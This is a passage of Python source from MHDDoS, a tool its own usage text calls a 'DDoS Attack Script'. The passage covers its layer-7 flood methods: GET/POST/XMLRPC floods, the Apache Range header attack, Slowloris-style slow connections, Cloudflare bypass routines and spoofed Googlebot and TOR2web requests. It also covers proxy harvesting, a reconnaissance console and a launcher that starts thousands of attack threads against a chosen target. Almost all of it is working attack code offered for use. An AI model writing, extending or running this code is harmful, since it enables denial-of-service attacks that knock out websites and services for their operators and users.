def open_connection(self, host=None) -> socket:
805
if self._proxies:
806
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
807
else:
808
sock = socket(AF_INET, SOCK_STREAM)
809
810
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
811
sock.settimeout(.9)
812
sock.connect(host or self._raw_target)
813
814
if self._target.scheme.lower() == "https":
815
sock = ctx.wrap_socket(sock,
816
server_hostname=host[0] if host else self._target.host,
817
server_side=False,
818
do_handshake_on_connect=True,
819
suppress_ragged_eofs=True)
820
return sock
821
822
@property
823
def randHeadercontent(self) -> str:
824
return (f"User-Agent: {randchoice(self._useragents)}\r\n"
825
f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
826
self.SpoofIP)
827
828
@staticmethod
829
def getMethodType(method: str) -> str:
830
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
831
"DYN", "SLOW", "PPS", "APACHE",
832
"BOT", "RHEX", "STOMP"} \
833
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
834
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
835
else "REQUESTS"
836
837
def POST(self) -> None:
838
payload: bytes = self.generate_payload(
839
("Content-Length: 44\r\n"
840
"X-Requested-With: XMLHttpRequest\r\n"
841
"Content-Type: application/json\r\n\r\n"
842
'{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
843
s = None
844
with suppress(Exception), self.open_connection() as s:
845
for _ in range(self._rpc):
846
Tools.send(s, payload)
847
Tools.safe_close(s)
848
849
def TOR(self) -> None:
850
provider = "." + randchoice(tor2webs)
851
target = self._target.authority.replace(".onion", provider)
852
payload: Any = str.encode(self._payload +
853
f"Host: {target}\r\n" +
854
self.randHeadercontent +
855
"\r\n")
856
s = None
857
target = self._target.host.replace(".onion", provider), self._raw_target[1]
858
with suppress(Exception), self.open_connection(target) as s:
859
for _ in range(self._rpc):
860
Tools.send(s, payload)
861
Tools.safe_close(s)
862
863
def STRESS(self) -> None:
864
payload: bytes = self.generate_payload(
865
("Content-Length: 524\r\n"
866
"X-Requested-With: XMLHttpRequest\r\n"
867
"Content-Type: application/json\r\n\r\n"
868
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
869
s = None
870
with suppress(Exception), self.open_connection() as s:
871
for _ in range(self._rpc):
872
Tools.send(s, payload)
873
Tools.safe_close(s)
874
875
def COOKIES(self) -> None:
876
payload: bytes = self.generate_payload(
877
"Cookie: _ga=GA%s;"
878
" _gat=1;"
879
" __cfduid=dc232334gwdsd23434542342342342475611928;"
880
" %s=%s\r\n" %
881
(ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
882
ProxyTools.Random.rand_str(32)))
883
s = None
884
with suppress(Exception), self.open_connection() as s:
885
for _ in range(self._rpc):
886
Tools.send(s, payload)
887
Tools.safe_close(s)
888
889
def APACHE(self) -> None:
890
payload: bytes = self.generate_payload(
891
"Range: bytes=0-,%s" % ",".join("5-%d" % i
892
for i in range(1, 1024)))
893
s = None
894
with suppress(Exception), self.open_connection() as s:
895
for _ in range(self._rpc):
896
Tools.send(s, payload)
897
Tools.safe_close(s)
898
899
def XMLRPC(self) -> None:
900
payload: bytes = self.generate_payload(
901
("Content-Length: 345\r\n"
902
"X-Requested-With: XMLHttpRequest\r\n"
903
"Content-Type: application/xml\r\n\r\n"
904
"<?xml version='1.0' encoding='iso-8859-1'?>"
905
"<methodCall><methodName>pingback.ping</methodName>"
906
"<params><param><value><string>%s</string></value>"
907
"</param><param><value><string>%s</string>"
908
"</value></param></params></methodCall>") %
909
(ProxyTools.Random.rand_str(64),
910
ProxyTools.Random.rand_str(64)))[:-2]
911
s = None
912
with suppress(Exception), self.open_connection() as s:
913
for _ in range(self._rpc):
914
Tools.send(s, payload)
915
Tools.safe_close(s)
916
917
def PPS(self) -> None:
918
payload: Any = str.encode(self._defaultpayload +
919
f"Host: {self._target.authority}\r\n\r\n")
920
s = None
921
with suppress(Exception), self.open_connection() as s:
922
for _ in range(self._rpc):
923
Tools.send(s, payload)
924
Tools.safe_close(s)
925
926
def KILLER(self) -> None:
927
while True:
928
Thread(target=self.GET, daemon=True).start()
929
930
def GET(self) -> None:
931
payload: bytes = self.generate_payload()
932
s = None
933
with suppress(Exception), self.open_connection() as s:
934
for _ in range(self._rpc):
935
Tools.send(s, payload)
936
Tools.safe_close(s)
937
938
def BOT(self) -> None:
939
payload: bytes = self.generate_payload()
940
p1, p2 = str.encode(
941
"GET /robots.txt HTTP/1.1\r\n"
942
"Host: %s\r\n" % self._target.raw_authority +
943
"Connection: Keep-Alive\r\n"
944
"Accept: text/plain,text/html,*/*\r\n"
945
"User-Agent: %s\r\n" % randchoice(google_agents) +
946
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
947
"GET /sitemap.xml HTTP/1.1\r\n"
948
"Host: %s\r\n" % self._target.raw_authority +
949
"Connection: Keep-Alive\r\n"
950
"Accept: */*\r\n"
951
"From: googlebot(at)googlebot.com\r\n"
952
"User-Agent: %s\r\n" % randchoice(google_agents) +
953
"Accept-Encoding: gzip,deflate,br\r\n"
954
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
955
ProxyTools.Random.rand_str(4)) +
956
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
957
s = None
958
with suppress(Exception), self.open_connection() as s:
959
Tools.send(s, p1)
960
Tools.send(s, p2)
961
for _ in range(self._rpc):
962
Tools.send(s, payload)
963
Tools.safe_close(s)
964
965
def EVEN(self) -> None:
966
payload: bytes = self.generate_payload()
967
s = None
968
with suppress(Exception), self.open_connection() as s:
969
while Tools.send(s, payload) and s.recv(1):
970
continue
971
Tools.safe_close(s)
972
973
def OVH(self) -> None:
974
payload: bytes = self.generate_payload()
975
s = None
976
with suppress(Exception), self.open_connection() as s:
977
for _ in range(min(self._rpc, 5)):
978
Tools.send(s, payload)
979
Tools.safe_close(s)
980
981
def CFB(self):
982
global REQUESTS_SENT, BYTES_SEND
983
pro = None
984
if self._proxies:
985
pro = randchoice(self._proxies)
986
s = None
987
with suppress(Exception), create_scraper() as s:
988
for _ in range(self._rpc):
989
if pro:
990
with s.get(self._target.human_repr(),
991
proxies=pro.asRequest()) as res:
992
REQUESTS_SENT += 1
993
BYTES_SEND += Tools.sizeOfRequest(res)
994
continue
995
996
with s.get(self._target.human_repr()) as res:
997
REQUESTS_SENT += 1
998
BYTES_SEND += Tools.sizeOfRequest(res)
999
Tools.safe_close(s)
1000
1001
def CFBUAM(self):
1002
payload: bytes = self.generate_payload()
1003
s = None
1004
with suppress(Exception), self.open_connection() as s:
1005
Tools.send(s, payload)
1006
sleep(5.01)
1007
ts = time()
1008
for _ in range(self._rpc):
1009
Tools.send(s, payload)
1010
if time() > ts + 120: break
1011
Tools.safe_close(s)
1012
1013
def AVB(self):
1014
payload: bytes = self.generate_payload()
1015
s = None
1016
with suppress(Exception), self.open_connection() as s:
1017
for _ in range(self._rpc):
1018
sleep(max(self._rpc / 1000, 1))
1019
Tools.send(s, payload)
1020
Tools.safe_close(s)
1021
1022
def DGB(self):
1023
global REQUESTS_SENT, BYTES_SEND
1024
with suppress(Exception):
1025
if self._proxies:
1026
pro = randchoice(self._proxies)
1027
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:
1028
for _ in range(min(self._rpc, 5)):
1029
sleep(min(self._rpc, 5) / 100)
1030
with ss.get(self._target.human_repr(),
1031
proxies=pro.asRequest()) as res:
1032
REQUESTS_SENT += 1
1033
BYTES_SEND += Tools.sizeOfRequest(res)
1034
continue
1035
1036
Tools.safe_close(ss)
1037
1038
with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:
1039
for _ in range(min(self._rpc, 5)):
1040
sleep(min(self._rpc, 5) / 100)
1041
with ss.get(self._target.human_repr()) as res:
1042
REQUESTS_SENT += 1
1043
BYTES_SEND += Tools.sizeOfRequest(res)
1044
1045
Tools.safe_close(ss)
1046
1047
def DYN(self):
1048
payload: Any = str.encode(self._payload +
1049
f"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\r\n" +
1050
self.randHeadercontent +
1051
"\r\n")
1052
s = None
1053
with suppress(Exception), self.open_connection() as s:
1054
for _ in range(self._rpc):
1055
Tools.send(s, payload)
1056
Tools.safe_close(s)
1057
1058
def DOWNLOADER(self):
1059
payload: Any = self.generate_payload()
1060
1061
s = None
1062
with suppress(Exception), self.open_connection() as s:
1063
for _ in range(self._rpc):
1064
Tools.send(s, payload)
1065
while 1:
1066
sleep(.01)
1067
data = s.recv(1)
1068
if not data:
1069
break
1070
Tools.send(s, b'0')
1071
Tools.safe_close(s)
1072
1073
def BYPASS(self):
1074
global REQUESTS_SENT, BYTES_SEND
1075
pro = None
1076
if self._proxies:
1077
pro = randchoice(self._proxies)
1078
s = None
1079
with suppress(Exception), Session() as s:
1080
for _ in range(self._rpc):
1081
if pro:
1082
with s.get(self._target.human_repr(),
1083
proxies=pro.asRequest()) as res:
1084
REQUESTS_SENT += 1
1085
BYTES_SEND += Tools.sizeOfRequest(res)
1086
continue
1087
1088
with s.get(self._target.human_repr()) as res:
1089
REQUESTS_SENT += 1
1090
BYTES_SEND += Tools.sizeOfRequest(res)
1091
Tools.safe_close(s)
1092
1093
def GSB(self):
1094
payload = str.encode("%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
1095
self._target.raw_path_qs,
1096
ProxyTools.Random.rand_str(6)) +
1097
"Host: %s\r\n" % self._target.authority +
1098
self.randHeadercontent +
1099
'Accept-Encoding: gzip, deflate, br\r\n'
1100
'Accept-Language: en-US,en;q=0.9\r\n'
1101
'Cache-Control: max-age=0\r\n'
1102
'Connection: Keep-Alive\r\n'
1103
'Sec-Fetch-Dest: document\r\n'
1104
'Sec-Fetch-Mode: navigate\r\n'
1105
'Sec-Fetch-Site: none\r\n'
1106
'Sec-Fetch-User: ?1\r\n'
1107
'Sec-Gpc: 1\r\n'
1108
'Pragma: no-cache\r\n'
1109
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1110
s = None
1111
with suppress(Exception), self.open_connection() as s:
1112
for _ in range(self._rpc):
1113
Tools.send(s, payload)
1114
Tools.safe_close(s)
1115
1116
def RHEX(self):
1117
randhex = str(randbytes(randchoice([32, 64, 128])))
1118
payload = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
1119
self._target.authority,
1120
randhex) +
1121
"Host: %s/%s\r\n" % (self._target.authority, randhex) +
1122
self.randHeadercontent +
1123
'Accept-Encoding: gzip, deflate, br\r\n'
1124
'Accept-Language: en-US,en;q=0.9\r\n'
1125
'Cache-Control: max-age=0\r\n'
1126
'Connection: keep-alive\r\n'
1127
'Sec-Fetch-Dest: document\r\n'
1128
'Sec-Fetch-Mode: navigate\r\n'
1129
'Sec-Fetch-Site: none\r\n'
1130
'Sec-Fetch-User: ?1\r\n'
1131
'Sec-Gpc: 1\r\n'
1132
'Pragma: no-cache\r\n'
1133
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1134
s = None
1135
with suppress(Exception), self.open_connection() as s:
1136
for _ in range(self._rpc):
1137
Tools.send(s, payload)
1138
Tools.safe_close(s)
1139
1140
def STOMP(self):
1141
dep = ('Accept-Encoding: gzip, deflate, br\r\n'
1142
'Accept-Language: en-US,en;q=0.9\r\n'
1143
'Cache-Control: max-age=0\r\n'
1144
'Connection: keep-alive\r\n'
1145
'Sec-Fetch-Dest: document\r\n'
1146
'Sec-Fetch-Mode: navigate\r\n'
1147
'Sec-Fetch-Site: none\r\n'
1148
'Sec-Fetch-User: ?1\r\n'
1149
'Sec-Gpc: 1\r\n'
1150
'Pragma: no-cache\r\n'
1151
'Upgrade-Insecure-Requests: 1\r\n\r\n')
1152
hexh = r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87' \
1153
r'\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F' \
1154
r'\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F' \
1155
r'\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84' \
1156
r'\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F' \
1157
r'\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98' \
1158
r'\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98' \
1159
r'\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B' \
1160
r'\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99' \
1161
r'\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C' \
1162
r'\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA '
1163
p1, p2 = str.encode("%s %s/%s HTTP/1.1\r\n" % (self._req_type,
1164
self._target.authority,
1165
hexh) +
1166
"Host: %s/%s\r\n" % (self._target.authority, hexh) +
1167
self.randHeadercontent + dep), str.encode(
1168
"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\r\n" % (self._req_type,
1169
self._target.authority) +
1170
"Host: %s\r\n" % hexh +
1171
self.randHeadercontent + dep)
1172
s = None
1173
with suppress(Exception), self.open_connection() as s:
1174
Tools.send(s, p1)
1175
for _ in range(self._rpc):
1176
Tools.send(s, p2)
1177
Tools.safe_close(s)
1178
1179
def NULL(self) -> None:
1180
payload: Any = str.encode(self._payload +
1181
f"Host: {self._target.authority}\r\n" +
1182
"User-Agent: null\r\n" +
1183
"Referrer: null\r\n" +
1184
self.SpoofIP + "\r\n")
1185
s = None
1186
with suppress(Exception), self.open_connection() as s:
1187
for _ in range(self._rpc):
1188
Tools.send(s, payload)
1189
Tools.safe_close(s)
1190
1191
def BOMB(self):
1192
assert self._proxies, \
1193
'This method requires proxies. ' \
1194
'Without proxies you can use github.com/codesenberg/bombardier'
1195
1196
while True:
1197
proxy = randchoice(self._proxies)
1198
if proxy.type != ProxyType.SOCKS4:
1199
break
1200
1201
res = run(
1202
[
1203
f'{bombardier_path}',
1204
f'--connections={self._rpc}',
1205
'--http2',
1206
'--method=GET',
1207
'--latencies',
1208
'--timeout=30s',
1209
f'--requests={self._rpc}',
1210
f'--proxy={proxy}',
1211
f'{self._target.human_repr()}',
1212
],
1213
stdout=PIPE,
1214
)
1215
if self._thread_id == 0:
1216
print(proxy, res.stdout.decode(), sep='\n')
1217
1218
def SLOW(self):
1219
payload: bytes = self.generate_payload()
1220
s = None
1221
with suppress(Exception), self.open_connection() as s:
1222
for _ in range(self._rpc):
1223
Tools.send(s, payload)
1224
while Tools.send(s, payload) and s.recv(1):
1225
for i in range(self._rpc):
1226
keep = str.encode("X-a: %d\r\n" % ProxyTools.Random.rand_int(1, 5000))
1227
Tools.send(s, keep)
1228
sleep(self._rpc / 15)
1229
break
1230
Tools.safe_close(s)
1231
1232
1233
class ProxyManager:
1234
1235
@staticmethod
1236
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
1237
providrs = [
1238
provider for provider in cf["proxy-providers"]
1239
if provider["type"] == Proxy_type or Proxy_type == 0
1240
]
1241
logger.info(
1242
f"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}" % len(
1243
providrs))
1244
proxes: Set[Proxy] = set()
1245
1246
with ThreadPoolExecutor(len(providrs)) as executor:
1247
future_to_download = {
1248
executor.submit(
1249
ProxyManager.download, provider,
1250
ProxyType.stringToProxyType(str(provider["type"])))
1251
for provider in providrs
1252
}
1253
for future in as_completed(future_to_download):
1254
for pro in future.result():
1255
proxes.add(pro)
1256
return proxes
1257
1258
@staticmethod
1259
def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
1260
logger.debug(
1261
f"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}" %
1262
(provider["url"], proxy_type.name, provider["timeout"]))
1263
proxes: Set[Proxy] = set()
1264
with suppress(TimeoutError, exceptions.ConnectionError,
1265
exceptions.ReadTimeout):
1266
data = get(provider["url"], timeout=provider["timeout"]).text
1267
try:
1268
for proxy in ProxyUtiles.parseAllIPPort(
1269
data.splitlines(), proxy_type):
1270
proxes.add(proxy)
1271
except Exception as e:
1272
logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')
1273
return proxes
1274
1275
1276
class ToolsConsole:
1277
METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
1278
1279
@staticmethod
1280
def checkRawSocket():
1281
with suppress(OSError):
1282
with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
1283
return True
1284
return False
1285
1286
@staticmethod
1287
def runConsole():
1288
cons = f"{gethostname()}@MHTools:~#"
1289
1290
while 1:
1291
cmd = input(cons + " ").strip()
1292
if not cmd: continue
1293
if " " in cmd:
1294
cmd, args = cmd.split(" ", 1)
1295
1296
cmd = cmd.upper()
1297
if cmd == "HELP":
1298
print("Tools:" + ", ".join(ToolsConsole.METHODS))
1299
print("Commands: HELP, CLEAR, BACK, EXIT")
1300
continue
1301
1302
if {cmd} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1303
exit(-1)
1304
1305
if cmd == "CLEAR":
1306
print("\033c")
1307
continue
1308
1309
if not {cmd} & ToolsConsole.METHODS:
1310
print(f"{cmd} command not found")
1311
continue
1312
1313
if cmd == "DSTAT":
1314
with suppress(KeyboardInterrupt):
1315
ld = net_io_counters(pernic=False)
1316
1317
while True:
1318
sleep(1)
1319
1320
od = ld
1321
ld = net_io_counters(pernic=False)
1322
1323
t = [(last - now) for now, last in zip(od, ld)]
1324
1325
logger.info(
1326
("Bytes Sent %s\n"
1327
"Bytes Received %s\n"
1328
"Packets Sent %s\n"
1329
"Packets Received %s\n"
1330
"ErrIn %s\n"
1331
"ErrOut %s\n"
1332
"DropIn %s\n"
1333
"DropOut %s\n"
1334
"Cpu Usage %s\n"
1335
"Memory %s\n") %
1336
(Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
1337
Tools.humanformat(t[2]), Tools.humanformat(t[3]),
1338
t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
1339
str(virtual_memory().percent) + "%"))
1340
if cmd in ["CFIP", "DNS"]:
1341
print("Soon")
1342
continue
1343
1344
if cmd == "CHECK":
1345
while True:
1346
with suppress(Exception):
1347
domain = input(f'{cons}give-me-ipaddress# ')
1348
if not domain: continue
1349
if domain.upper() == "BACK": break
1350
if domain.upper() == "CLEAR":
1351
print("\033c")
1352
continue
1353
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1354
exit(-1)
1355
if "/" not in domain: continue
1356
logger.info("please wait ...")
1357
1358
with get(domain, timeout=20) as r:
1359
logger.info(('status_code: %d\n'
1360
'status: %s') %
1361
(r.status_code, "ONLINE"
1362
if r.status_code <= 500 else "OFFLINE"))
1363
1364
if cmd == "INFO":
1365
while True:
1366
domain = input(f'{cons}give-me-ipaddress# ')
1367
if not domain: continue
1368
if domain.upper() == "BACK": break
1369
if domain.upper() == "CLEAR":
1370
print("\033c")
1371
continue
1372
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1373
exit(-1)
1374
domain = domain.replace('https://',
1375
'').replace('http://', '')
1376
if "/" in domain: domain = domain.split("/")[0]
1377
print('please wait ...', end="\r")
1378
1379
info = ToolsConsole.info(domain)
1380
1381
if not info["success"]:
1382
print("Error!")
1383
continue
1384
1385
logger.info(("Country: %s\n"
1386
"City: %s\n"
1387
"Org: %s\n"
1388
"Isp: %s\n"
1389
"Region: %s\n") %
1390
(info["country"], info["city"], info["org"],
1391
info["isp"], info["region"]))
1392
1393
if cmd == "TSSRV":
1394
while True:
1395
domain = input(f'{cons}give-me-domain# ')
1396
if not domain: continue
1397
if domain.upper() == "BACK": break
1398
if domain.upper() == "CLEAR":
1399
print("\033c")
1400
continue
1401
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1402
exit(-1)
1403
domain = domain.replace('https://',
1404
'').replace('http://', '')
1405
if "/" in domain: domain = domain.split("/")[0]
1406
print('please wait ...', end="\r")
1407
1408
info = ToolsConsole.ts_srv(domain)
1409
logger.info(f"TCP: {(info['_tsdns._tcp.'])}\n")
1410
logger.info(f"UDP: {(info['_ts3._udp.'])}\n")
1411
1412
if cmd == "PING":
1413
while True:
1414
domain = input(f'{cons}give-me-ipaddress# ')
1415
if not domain: continue
1416
if domain.upper() == "BACK": break
1417
if domain.upper() == "CLEAR":
1418
print("\033c")
1419
if {domain.upper()} & {"E", "EXIT", "Q", "QUIT", "LOGOUT", "CLOSE"}:
1420
exit(-1)
1421
1422
domain = domain.replace('https://',
1423
'').replace('http://', '')
1424
if "/" in domain: domain = domain.split("/")[0]
1425
1426
logger.info("please wait ...")
1427
r = ping(domain, count=5, interval=0.2)
1428
logger.info(('Address: %s\n'
1429
'Ping: %d\n'
1430
'Aceepted Packets: %d/%d\n'
1431
'status: %s\n') %
1432
(r.address, r.avg_rtt, r.packets_received,
1433
r.packets_sent,
1434
"ONLINE" if r.is_alive else "OFFLINE"))
1435
1436
@staticmethod
1437
def stop():
1438
print('All Attacks has been Stopped !')
1439
for proc in process_iter():
1440
if proc.name() == "python.exe":
1441
proc.kill()
1442
1443
@staticmethod
1444
def usage():
1445
print((
1446
'* MHDDoS - DDoS Attack Script With %d Methods\n'
1447
'Note: If the Proxy list is empty, The attack will run without proxies\n'
1448
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
1449
' Proxy Type 0 = All in config.json\n'
1450
' SocksTypes:\n'
1451
' - 6 = RANDOM\n'
1452
' - 5 = SOCKS5\n'
1453
' - 4 = SOCKS4\n'
1454
' - 1 = HTTP\n'
1455
' - 0 = ALL\n'
1456
' > Methods:\n'
1457
' - Layer4\n'
1458
' | %s | %d Methods\n'
1459
' - Layer7\n'
1460
' | %s | %d Methods\n'
1461
' - Tools\n'
1462
' | %s | %d Methods\n'
1463
' - Others\n'
1464
' | %s | %d Methods\n'
1465
' - All %d Methods\n'
1466
'\n'
1467
'Example:\n'
1468
' L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
1469
' L4: python3 %s <method> <ip:port> <threads> <duration>\n'
1470
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
1471
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
1472
' Amplification)>\n') %
1473
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
1474
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
1475
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
1476
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
1477
", ".join(["TOOLS", "HELP", "STOP"]), 3,
1478
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
1479
argv[0], argv[0], argv[0], argv[0]))
1480
1481
# noinspection PyBroadException
1482
@staticmethod
1483
def ts_srv(domain):
1484
records = ['_ts3._udp.', '_tsdns._tcp.']
1485
DnsResolver = resolver.Resolver()
1486
DnsResolver.timeout = 1
1487
DnsResolver.lifetime = 1
1488
Info = {}
1489
for rec in records:
1490
try:
1491
srv_records = resolver.resolve(rec + domain, 'SRV')
1492
for srv in srv_records:
1493
Info[rec] = str(srv.target).rstrip('.') + ':' + str(
1494
srv.port)
1495
except:
1496
Info[rec] = 'Not found'
1497
1498
return Info
1499
1500
# noinspection PyUnreachableCode
1501
@staticmethod
1502
def info(domain):
1503
with suppress(Exception), get(f"https://ipwhois.app/json/{domain}/") as s:
1504
return s.json()
1505
return {"success": False}
1506
1507
1508
def handleProxyList(con, proxy_li, proxy_ty, url=None):
1509
if proxy_ty not in {4, 5, 1, 0, 6}:
1510
exit("Socks Type Not Found [4, 5, 1, 0, 6]")
1511
if proxy_ty == 6:
1512
proxy_ty = randchoice([4, 5, 1])
1513
if not proxy_li.exists():
1514
logger.warning(
1515
f"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}")
1516
proxy_li.parent.mkdir(parents=True, exist_ok=True)
1517
with proxy_li.open("w") as wr:
1518
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
1519
logger.info(
1520
f"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!"
1521
)
1522
Proxies = ProxyChecker.checkAll(
1523
Proxies, timeout=5, threads=threads,
1524
url=url.human_repr() if url else "http://httpbin.org/get",
1525
)
1526
1527
if not Proxies:
1528
exit(
1529
"Proxy Check failed, Your network may be the problem"
1530
" | The target may not be available."
1531
)
1532
stringBuilder = ""
1533
for proxy in Proxies:
1534
stringBuilder += (proxy.__str__() + "\n")
1535
wr.write(stringBuilder)
1536
1537
proxies = ProxyUtiles.readFromFile(proxy_li)
1538
if proxies:
1539
logger.info(f"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}")
1540
else:
1541
logger.info(
1542
f"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}")
1543
proxies = None
1544
1545
return proxies
1546
1547
1548
if __name__ == '__main__':
1549
with suppress(KeyboardInterrupt):
1550
with suppress(IndexError):
1551
one = argv[1].upper()
1552
1553
if one == "HELP":
1554
raise IndexError()
1555
if one == "TOOLS":
1556
ToolsConsole.runConsole()
1557
if one == "STOP":
1558
ToolsConsole.stop()
1559
1560
method = one
1561
host = None
1562
port = None
1563
url = None
1564
event = Event()
1565
event.clear()
1566
target = None
1567
urlraw = argv[2].strip()
1568
if not urlraw.startswith("http"):
1569
urlraw = "http://" + urlraw
1570
1571
if method not in Methods.ALL_METHODS:
1572
exit("Method Not Found %s" %
1573
", ".join(Methods.ALL_METHODS))
1574
1575
if method in Methods.LAYER7_METHODS:
1576
url = URL(urlraw)
1577
host = url.host
1578
1579
if method != "TOR":
1580
try:
1581
host = gethostbyname(url.host)
1582
except Exception as e:
1583
exit('Cannot resolve hostname ', url.host, str(e))
1584
1585
threads = int(argv[4])
1586
rpc = int(argv[6])
1587
timer = int(argv[7])
1588
proxy_ty = int(argv[3].strip())
1589
proxy_li = Path(__dir__ / "files/proxies/" /
1590
argv[5].strip())
1591
useragent_li = Path(__dir__ / "files/useragent.txt")
1592
referers_li = Path(__dir__ / "files/referers.txt")
1593
bombardier_path = Path.home() / "go/bin/bombardier"
1594
proxies: Any = set()
1595
1596
if method == "BOMB":
1597
assert (
1598
bombardier_path.exists()
1599
or bombardier_path.with_suffix('.exe').exists()
1600
), (
1601
"Install bombardier: "
1602
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
1603
)
1604
1605
if len(argv) == 9:
1606
logger.setLevel("DEBUG")
1607
1608
if not useragent_li.exists():
1609
exit("The Useragent file doesn't exist ")
1610
if not referers_li.exists():
1611
exit("The Referer file doesn't exist ")
1612
1613
uagents = set(a.strip()
1614
for a in useragent_li.open("r+").readlines())
1615
referers = set(a.strip()
1616
for a in referers_li.open("r+").readlines())
1617
1618
if not uagents: exit("Empty Useragent File ")
1619
if not referers: exit("Empty Referer File ")
1620
1621
if threads > 1000:
1622
logger.warning("Thread is higher than 1000")
1623
if rpc > 100:
1624
logger.warning(
1625
"RPC (Request Pre Connection) is higher than 100")
1626
1627
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
1628
for thread_id in range(threads):
1629
HttpFlood(thread_id, url, host, method, rpc, event,
1630
uagents, referers, proxies).start()
1631
1632
if method in Methods.LAYER4_METHODS:
1633
target = URL(urlraw)
1634
1635
port = target.port
1636
target = target.host
1637
1638
try:
1639
target = gethostbyname(target)
1640
except Exception as e:
1641
exit('Cannot resolve hostname ', url.host, e)
1642
1643
if port > 65535 or port < 1:
1644
exit("Invalid Port [Min: 1 / Max: 65535] ")
1645
1646
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
1647
not ToolsConsole.checkRawSocket():
1648
exit("Cannot Create Raw Socket")
1649
1650
if method in Methods.LAYER4_AMP:
1651
logger.warning("this method need spoofable servers please check")
1652
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
